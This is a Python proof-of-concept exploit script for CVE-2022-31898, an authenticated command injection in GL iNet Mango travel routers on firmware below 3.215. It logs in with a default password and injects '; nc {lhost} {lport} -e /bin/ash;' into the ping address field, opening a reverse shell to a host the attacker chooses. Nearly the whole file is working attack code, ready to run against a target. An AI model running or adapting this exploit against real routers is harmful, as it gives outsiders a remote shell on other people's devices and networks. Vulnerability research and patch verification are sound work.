#!/usr/bin/env python3 ################################################################## # POC of an authenticated command injection for the GL iNet MTN300n Mango travel # router and others running firmware below 3.215 # CVE-2022-31898 # Confirmed to work on versions: # 3.212 (2022-04-29 06:47:44) # 3.211 (2022-01-12 20:44:22) # 3.203 (2021-08-06 06:44:39) # 3.105 (2020-12-08 21:40:11) ################################################################## import argparse import requests import logging import json headers = {} logging.basicConfig(level=logging.INFO) def login(host, port, password, https): global headers if https: schema = "https://" else: schema = "http://" try: data = {"pwd" : password} r = requests.post(f"{schema}{host}:{port}/cgi-bin/api/router/login", data=data, verify=False) except Exception as e: logging.fatal("Error logging in:", e) #response should look like #{"code":0,"token":"355ca920cd1f47d18ad682aa13429835"} try: j = json.loads(r.text) if 'code' not in j or 'token' not in j: logging.fatal("Malformed response:", j) code = j['code'] token = j['token'] if code != 0: logging.fatal("Login response code nonzero:", code) logging.info(f"Got authentication token: {token}") except Exception as e: logging.fatal("Error parsing token:", e) headers["Authorization"] = token #headers["Cookie"] = f"Admin-Token={token}" def exploit(host, rport, lhost, lport, https): if https: schema = "https://" else: schema = "http://" try: data = {"ping_addr" : f"; nc {lhost} {lport} -e /bin/ash;"} r = requests.post(f"{schema}{host}:{rport}/cgi-bin/api/internet/ping", data=data, headers=headers, verify=False) print(r.text) except Exception as e: logging.fatal(f"Error injecting command: {e}") def main(args): login(args.rhost, args.rport, args.pwd, args.https) exploit(args.rhost, args.rport, args.lhost, args.lport, args.https) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-R", "--rhost", required=True, help="IP/hostname of Mango router") parser.add_argument("-P", "--rport", type=int, default=443, help="Port to connect to Mango router on") parser.add_argument("-L", "--lhost", required=True, help="Local host/IP for reverse shell to connect back to") parser.add_argument("-l", "--lport", type=int, default=8000, help="Local port for reverse shell to connect back on") parser.add_argument("-p", "--pwd", default="goodlife", help="Password to use to log in") parser.add_argument("-t", "--https", action='store_true', help="If set, use HTTPS") args = parser.parse_args() main(args)